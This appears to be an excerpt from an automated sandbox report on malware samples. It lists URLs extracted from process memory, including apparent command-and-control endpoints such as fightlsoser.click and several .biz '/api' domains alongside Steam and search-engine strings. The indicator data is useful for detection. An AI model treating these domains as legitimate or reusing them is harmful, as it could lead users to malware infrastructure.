Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000003071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000003101000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000030EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 0000000B.00000003.3526335736.000000000CAF2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: explorer.exe, 0000000B.00000003.2935855593.000000000C54A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3423883037.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3464875359.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3504125692.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2783920395.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3097790839.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3096118164.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3396126004.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3382216525.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3202608737.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3428609425.000000000C54C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3523958999.000000000C54C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 0000000B.00000003.3200986873.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2771788561.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3376604095.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3185674705.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3374279546.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3097336670.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3202258272.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000B.00000003.2984346806.000000000AA42000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: explorer.exe, 0000000B.00000000.2776738838.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000B.00000000.2771788561.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: explorer.exe, 0000000B.00000003.3519473684.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.2937599656.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3550871246.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3496657024.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3413058026.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3098876390.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3094444128.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3477258009.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2770808150.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://covery-mover.biz/api
Source: 6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dare-curbys.biz/api
Source: 6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dare-curbys.biz/apiz
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dwell-exclaim.biz/api
Source: explorer.exe, 0000000B.00000003.3485778659.0000000009B9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3200607282.0000000009BAC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2776738838.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3834229204.0000000009B9A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3516271900.0000000009B9F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3421936017.0000000009BAE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3372064938.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3395154629.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3453295568.0000000009BA2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3095812911.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: 6c29e572e4.exe, 00000010.00000003.3291840251.0000000001046000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/
Source: 6c29e572e4.exe, 00000010.00000002.3372061882.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/api
Source: 6c29e572e4.exe, 00000010.00000003.3289078572.0000000001056000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3374325169.0000000001058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apiB
Source: 6c29e572e4.exe, 00000010.00000002.3372061882.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apiXU
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impend-differ.biz/apiO
Source: 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: explorer.exe, 0000000B.00000003.3485778659.0000000009B9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3200607282.0000000009BAC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2776738838.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3834229204.0000000009B9A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3516271900.0000000009B9F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3421936017.0000000009BAE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3372064938.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3395154629.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3453295568.0000000009BA2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3095812911.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
